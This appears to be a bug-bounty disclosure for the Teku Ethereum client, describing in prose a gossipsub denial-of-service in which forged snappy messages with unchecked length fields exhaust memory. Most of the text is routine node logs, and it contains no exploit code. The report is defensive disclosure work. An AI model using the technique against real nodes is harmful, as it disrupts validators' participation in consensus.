18:54:48.314 INFO  - Slot Event  *** Slot: 14249, Block: f2d443..ffd2, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:00.311 INFO  - Slot Event  *** Slot: 14250, Block: d29837..c260, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:12.308 INFO  - Slot Event  *** Slot: 14251, Block: 702314..39a3, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:24.314 INFO  - Slot Event  *** Slot: 14252, Block: b2377a..3813, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:36.313 INFO  - Slot Event  *** Slot: 14253, Block: 7a4589..7249, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:48.320 INFO  - Slot Event  *** Slot: 14254, Block: cdb470..ffc0, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:00.313 INFO  - Slot Event  *** Slot: 14255, Block: ce7115..23ec, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:12.312 INFO  - Slot Event  *** Slot: 14256, Block: 47a6e5..5c42, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:24.309 INFO  - Slot Event  *** Slot: 14257, Block: 3267a1..4830, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:36.315 INFO  - Slot Event  *** Slot: 14258, Block: 090a2a..3289, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:48.315 INFO  - Slot Event  *** Slot: 14259, Block: 7e25c2..7444, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:00.314 INFO  - Slot Event  *** Slot: 14260, Block: 2e3595..cfa2, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:12.310 INFO  - Slot Event  *** Slot: 14261, Block: aeb423..e9b5, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:24.315 INFO  - Slot Event  *** Slot: 14262, Block: e1e8a8..4431, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:36.310 INFO  - Slot Event  *** Slot: 14263, Block: f69815..e768, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:48.308 INFO  - Slot Event  *** Slot: 14264, Block: 4d98c8..769d, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:00.313 INFO  - Slot Event  *** Slot: 14265, Block: 88073b..176e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:12.315 INFO  - Slot Event  *** Slot: 14266, Block: 818c3f..44f1, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:24.310 INFO  - Slot Event  *** Slot: 14267, Block: 96c90d..9e11, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:36.319 INFO  - Slot Event  *** Slot: 14268, Block: 417bbe..589e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:48.312 INFO  - Slot Event  *** Slot: 14269, Block: 067873..aec7, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:59:00.311 INFO  - Slot Event  *** Slot: 14270, Block: b15e7c..ad38, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:59:12.311 INFO  - Slot Event  *** Slot: 14271, Block: 47972e..8141, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4

[teku-attack-0 Reward] DoS Attack on Teku via gossipsub

  • Note: I actually had to run this on medalla restricting the attacker to my local network as I wasn't able to sync with the attacknet even after trying multiple days.
  • Note: Would be great to have a step-by-step guide (besides the readmes and config files) on how to set up the node to sync with the attacknet.

Description

Teku nodes are vulnerable to a resource exhaustion attack caused by allocating a buffer from an unchecked attacker-controlled length field causing a DoS condition that prevents them from participating in consensus.

Attack scenario

A malicious node may forge invalid snappy encoded gossipsub messages that cause Teku to allocate an arbitrary amount of memory, eventually causing a JVM out-of-memory condition. Teku can be kept busy processing the malicious gossipsub messages causing numerous stack traces and large short-lived allocations. The JVM can trivially be forced to raise an out of memory condition causing it to dump the heap memory to disk once (per PID).

Impact

  • Teku nodes are busy processing the randomized /eth2/e7a75d5a/beacon_block gossip messages and fall behind catching up blocks (see log below)
  • Teku throws (see stack traces below)
  • Teku creates one ~1Gb heap dump file per PID (potential for disk space exhaustion if teku is restarted by a resource watchdog; dumping to disk is resource-intensive: see log below where teku does not emit console output for >30sec)
  • Teku had trouble staying connected to peers (see log below; peer count decreasing)

Note It's probably enough to just keep the node busy with unidirectional gossipsub messages

Details

Proof Details

Node is syncing:
image

Node falls behind:

image

Full Console log:

  • node falls behind
  • peers dropping
  • heap dump
11:07:24.756 INFO  - Slot Event  *** Slot: 222036, Block: b3326a..87e0, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 21
11:07:36.749 INFO  - Slot Event  *** Slot: 222037, Block: 0b5065..8548, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 20
11:07:48.743 INFO  - Slot Event  *** Slot: 222038, Block:    ... empty, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 24
11:08:00.857 INFO  - Slot Event  *** Slot: 222039, Block:    ... empty, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 20
11:08:12.754 INFO  - Slot Event  *** Slot: 222040, Block:    ... empty, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 21
11:08:24.751 INFO  - Slot Event  *** Slot: 222041, Block: db7ac7..aaa0, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 20
11:08:36.764 INFO  - Slot Event  *** Slot: 222042, Block: 2b2c4e..6945, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 19
11:08:48.757 INFO  - Slot Event  *** Slot: 222043, Block: b554a5..7035, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 24
11:09:00.736 INFO  - Slot Event  *** Slot: 222044, Block: 479fc1..c84e, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 24
11:09:12.777 INFO  - Slot Event  *** Slot: 222045, Block: 111ea1..53f4, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 27
11:09:24.753 INFO  - Slot Event  *** Slot: 222046, Block: 3c0110..f174, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 26
11:09:36.747 INFO  - Slot Event  *** Slot: 222047, Block: 055fed..945e, Epoch: 6938, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 29
11:09:44.494 INFO  - Epoch Event *** Epoch: 6939, Justified checkpoint: 6937, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3
11:09:48.745 INFO  - Slot Event  *** Slot: 222048, Block:    ... empty, Epoch: 6939, Finalized checkpoint: 6936, Finalized root: 3c22e3..15a3, Peers: 28
11:10:00.756 INFO  - Slot Event  *** Slot: 222049, Block: e48863..5301, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:10:12.762 INFO  - Slot Event  *** Slot: 222050, Block: 956b89..9ae2, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 32
11:10:24.748 INFO  - Slot Event  *** Slot: 222051, Block: ee9f8f..262c, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 31
11:10:36.769 INFO  - Slot Event  *** Slot: 222052, Block: 29d133..df75, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:10:48.756 INFO  - Slot Event  *** Slot: 222053, Block: 40dc64..fdb5, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:11:00.749 INFO  - Slot Event  *** Slot: 222054, Block: 7f0552..8906, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 22
11:11:12.746 INFO  - Slot Event  *** Slot: 222055, Block: fed1bb..bc66, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 22
11:11:24.737 INFO  - Slot Event  *** Slot: 222056, Block:    ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 22
11:11:36.726 INFO  - Slot Event  *** Slot: 222057, Block: 935e23..08b5, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:11:48.738 INFO  - Slot Event  *** Slot: 222058, Block: ccb668..ea76, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:12:00.758 INFO  - Slot Event  *** Slot: 222059, Block: 92f73d..807c, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:12:12.748 INFO  - Slot Event  *** Slot: 222060, Block: 628817..8cc6, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 23
11:12:24.776 INFO  - Slot Event  *** Slot: 222061, Block: f55ce7..68e7, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 24
11:12:36.742 INFO  - Slot Event  *** Slot: 222062, Block: d85738..a1f7, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:12:48.739 INFO  - Slot Event  *** Slot: 222063, Block: 51c00b..e1e7, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:13:00.761 INFO  - Slot Event  *** Slot: 222064, Block: 376b3f..88b3, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:13:12.749 INFO  - Slot Event  *** Slot: 222065, Block: cf73d5..bedc, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:13:24.742 INFO  - Slot Event  *** Slot: 222066, Block:    ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:13:36.746 INFO  - Slot Event  *** Slot: 222067, Block: 610ece..5cc4, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:13:48.713 INFO  - Slot Event  *** Slot: 222068, Block: f38ebc..759d, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:14:00.736 INFO  - Slot Event  *** Slot: 222069, Block: e0124c..faa9, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 25
11:14:12.734 INFO  - Slot Event  *** Slot: 222070, Block: 11d3aa..5f68, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:14:24.735 INFO  - Slot Event  *** Slot: 222071, Block: 9f4fb3..4eb1, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 24
11:14:36.756 INFO  - Slot Event  *** Slot: 222072, Block: 86ca1e..5e63, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 27
11:14:48.743 INFO  - Slot Event  *** Slot: 222073, Block: 4e6e5a..c597, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:15:00.743 INFO  - Slot Event  *** Slot: 222074, Block:    ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 25
11:15:12.759 INFO  - Slot Event  *** Slot: 222075, Block: 28749e..cabd, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 26
11:15:24.750 INFO  - Slot Event  *** Slot: 222076, Block:    ... empty, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 25
11:15:36.755 INFO  - Slot Event  *** Slot: 222077, Block: 6cbc5b..4d4b, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 30
11:15:48.740 INFO  - Slot Event  *** Slot: 222078, Block: f16411..576c, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:16:00.737 INFO  - Slot Event  *** Slot: 222079, Block: 2c7283..ed34, Epoch: 6939, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4, Peers: 28
11:16:08.490 INFO  - Epoch Event *** Epoch: 6940, Justified checkpoint: 6938, Finalized checkpoint: 6937, Finalized root: 698eaa..c6a4
11:16:14.835 INFO  - Slot Event  *** Slot: 222080, Block: 39adec..4725, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:16:24.718 INFO  - Slot Event  *** Slot: 222081, Block: 61930e..b1c2, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 24
11:16:36.744 INFO  - Slot Event  *** Slot: 222082, Block: f9a5bc..228b, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:16:48.731 INFO  - Slot Event  *** Slot: 222083, Block: fa662f..e1f7, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:17:00.739 INFO  - Slot Event  *** Slot: 222084, Block: df051c..57dc, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:17:12.736 INFO  - Slot Event  *** Slot: 222085, Block: 8661da..f6c5, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 30
11:17:24.732 INFO  - Slot Event  *** Slot: 222086, Block: 28ec50..97cf, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:17:36.740 INFO  - Slot Event  *** Slot: 222087, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:17:48.734 INFO  - Slot Event  *** Slot: 222088, Block: 36e57c..fae4, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:18:00.744 INFO  - Slot Event  *** Slot: 222089, Block: c92650..c05f, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:18:12.732 INFO  - Slot Event  *** Slot: 222090, Block: eb2872..658c, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 27
11:18:24.786 INFO  - Slot Event  *** Slot: 222091, Block: 6307c9..039f, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 26
11:18:36.748 INFO  - Slot Event  *** Slot: 222092, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:18:48.734 INFO  - Slot Event  *** Slot: 222093, Block: 466d3d..6ea4, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 31
11:19:00.732 INFO  - Slot Event  *** Slot: 222094, Block: 4d9876..512c, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 29
11:19:12.792 INFO  - Slot Event  *** Slot: 222095, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 29
11:19:24.760 INFO  - Slot Event  *** Slot: 222096, Block: 4504db..7c22, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:19:36.747 INFO  - Slot Event  *** Slot: 222097, Block: d13abb..cbc6, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 28
11:19:48.747 INFO  - Slot Event  *** Slot: 222098, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 34
11:20:00.753 INFO  - Slot Event  *** Slot: 222099, Block: 2f5d3a..f3f0, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 33
11:20:12.740 INFO  - Slot Event  *** Slot: 222100, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 33
11:20:24.744 INFO  - Slot Event  *** Slot: 222101, Block: a3f19a..14d4, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 31
11:20:36.739 INFO  - Slot Event  *** Slot: 222102, Block: 94729f..19d0, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:20:48.767 INFO  - Slot Event  *** Slot: 222103, Block: 1b1c72..c895, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:21:00.753 INFO  - Slot Event  *** Slot: 222104, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:21:12.756 INFO  - Slot Event  *** Slot: 222105, Block: f25724..1127, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 35
11:21:24.773 INFO  - Slot Event  *** Slot: 222106, Block: 15196e..9adf, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 32
11:21:36.733 INFO  - Slot Event  *** Slot: 222107, Block: e09cd1..f249, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 37
11:21:48.735 INFO  - Slot Event  *** Slot: 222108, Block:    ... empty, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 35
11:22:00.759 INFO  - Slot Event  *** Slot: 222109, Block: 230706..1b49, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 34
11:22:12.760 INFO  - Slot Event  *** Slot: 222110, Block: f64c73..f233, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 37
11:22:24.741 INFO  - Slot Event  *** Slot: 222111, Block: ea1b12..fcb8, Epoch: 6940, Finalized checkpoint: 6938, Finalized root: 025623..08dd, Peers: 37
11:22:32.492 INFO  - Epoch Event *** Epoch: 6941, Justified checkpoint: 6939, Finalized checkpoint: 6938, Finalized root: 025623..08dd
11:22:37.116 INFO  - Slot Event  *** Slot: 222112, Block: 16dfb0..6ba7, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 38
11:22:48.850 INFO  - Slot Event  *** Slot: 222113, Block: 68a51d..9d35, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:23:00.744 INFO  - Slot Event  *** Slot: 222114, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:23:12.730 INFO  - Slot Event  *** Slot: 222115, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:23:24.742 INFO  - Slot Event  *** Slot: 222116, Block: 1d6aa9..14e1, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:23:36.813 INFO  - Slot Event  *** Slot: 222117, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:23:48.746 INFO  - Slot Event  *** Slot: 222118, Block: 5177c4..6282, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:24:00.800 INFO  - Slot Event  *** Slot: 222119, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 33
11:24:12.711 INFO  - Slot Event  *** Slot: 222120, Block: c147cc..f3c3, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:24:24.764 INFO  - Slot Event  *** Slot: 222121, Block: 2335e6..a38a, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:24:36.778 INFO  - Slot Event  *** Slot: 222122, Block: 2550b7..4215, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:24:48.776 INFO  - Slot Event  *** Slot: 222123, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:25:00.741 INFO  - Slot Event  *** Slot: 222124, Block: 298aa6..b2fe, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:25:12.745 INFO  - Slot Event  *** Slot: 222125, Block: f214ae..cedb, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 40
11:25:24.772 INFO  - Slot Event  *** Slot: 222126, Block: dc5987..2166, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 37
11:25:36.780 INFO  - Slot Event  *** Slot: 222127, Block: ee6b44..7dab, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:25:48.754 INFO  - Slot Event  *** Slot: 222128, Block: 02d416..2861, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:26:00.745 INFO  - Slot Event  *** Slot: 222129, Block: 0a289a..a84d, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:26:12.757 INFO  - Slot Event  *** Slot: 222130, Block: 555e4f..d4c2, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:26:24.760 INFO  - Slot Event  *** Slot: 222131, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:26:36.797 INFO  - Slot Event  *** Slot: 222132, Block: b7b50b..527e, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:26:48.734 INFO  - Slot Event  *** Slot: 222133, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:27:00.787 INFO  - Slot Event  *** Slot: 222134, Block: adb98e..12b6, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:27:12.866 INFO  - Slot Event  *** Slot: 222135, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:27:24.853 INFO  - Slot Event  *** Slot: 222136, Block: a7d48f..e55d, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:27:36.846 INFO  - Slot Event  *** Slot: 222137, Block: 93ad6e..4a6e, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:27:48.960 INFO  - Slot Event  *** Slot: 222138, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:28:00.793 INFO  - Slot Event  *** Slot: 222139, Block: 070edc..73ea, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 34
11:28:12.760 INFO  - Slot Event  *** Slot: 222140, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:28:24.773 INFO  - Slot Event  *** Slot: 222141, Block:    ... empty, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 35
11:28:36.779 INFO  - Slot Event  *** Slot: 222142, Block: ff4b9e..b139, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:28:48.914 INFO  - Slot Event  *** Slot: 222143, Block: 1ed950..39c9, Epoch: 6941, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:28:56.490 INFO  - Epoch Event *** Epoch: 6942, Justified checkpoint: 6940, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1
11:29:00.813 INFO  - Slot Event  *** Slot: 222144, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6939, Finalized root: 77a38b..6ac1, Peers: 36
11:29:14.451 INFO  - Slot Event  *** Slot: 222145, Block: 81b4c1..368e, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 35
11:29:24.721 INFO  - Slot Event  *** Slot: 222146, Block: be4777..2c32, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:29:36.747 INFO  - Slot Event  *** Slot: 222147, Block: 5130de..38db, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:29:48.760 INFO  - Slot Event  *** Slot: 222148, Block: a6b978..19d3, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:30:00.768 INFO  - Slot Event  *** Slot: 222149, Block: ffc326..7e31, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:30:12.762 INFO  - Slot Event  *** Slot: 222150, Block: 2319b6..eeaa, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:30:24.751 INFO  - Slot Event  *** Slot: 222151, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:30:36.763 INFO  - Slot Event  *** Slot: 222152, Block: 258fa9..f8dd, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 40
11:30:48.748 INFO  - Slot Event  *** Slot: 222153, Block: 009775..690f, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 38
11:31:00.741 INFO  - Slot Event  *** Slot: 222154, Block: ab5cb6..b970, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:31:12.754 INFO  - Slot Event  *** Slot: 222155, Block: d9737f..b83c, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:31:24.754 INFO  - Slot Event  *** Slot: 222156, Block: 2486d9..186c, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:31:36.751 INFO  - Slot Event  *** Slot: 222157, Block: 927fdf..eed5, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 35
11:31:48.784 INFO  - Slot Event  *** Slot: 222158, Block: 5d20eb..262a, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:32:00.733 INFO  - Slot Event  *** Slot: 222159, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 31
11:32:12.758 INFO  - Slot Event  *** Slot: 222160, Block: da7285..5158, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:32:24.766 INFO  - Slot Event  *** Slot: 222161, Block: 48002d..55cf, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 33
11:32:36.729 INFO  - Slot Event  *** Slot: 222162, Block: 83b047..d3a3, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:32:48.738 INFO  - Slot Event  *** Slot: 222163, Block: 9c8109..dffc, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:00.745 INFO  - Slot Event  *** Slot: 222164, Block: 464d02..1c69, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:12.734 INFO  - Slot Event  *** Slot: 222165, Block: b7355e..2624, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:24.740 INFO  - Slot Event  *** Slot: 222166, Block: d3d57e..1d21, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 34
11:33:36.763 INFO  - Slot Event  *** Slot: 222167, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 37
11:33:48.758 INFO  - Slot Event  *** Slot: 222168, Block: f07cb2..75f4, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 38
11:34:00.749 INFO  - Slot Event  *** Slot: 222169, Block: 7003cf..f4da, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:34:12.740 INFO  - Slot Event  *** Slot: 222170, Block: 334bf1..4dd1, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 39
11:34:24.736 INFO  - Slot Event  *** Slot: 222171, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 36
11:34:36.715 INFO  - Slot Event  *** Slot: 222172, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 39
11:34:48.741 INFO  - Slot Event  *** Slot: 222173, Block: 975f9f..5c26, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 35
11:35:00.746 INFO  - Slot Event  *** Slot: 222174, Block: 87eb99..2af0, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 33
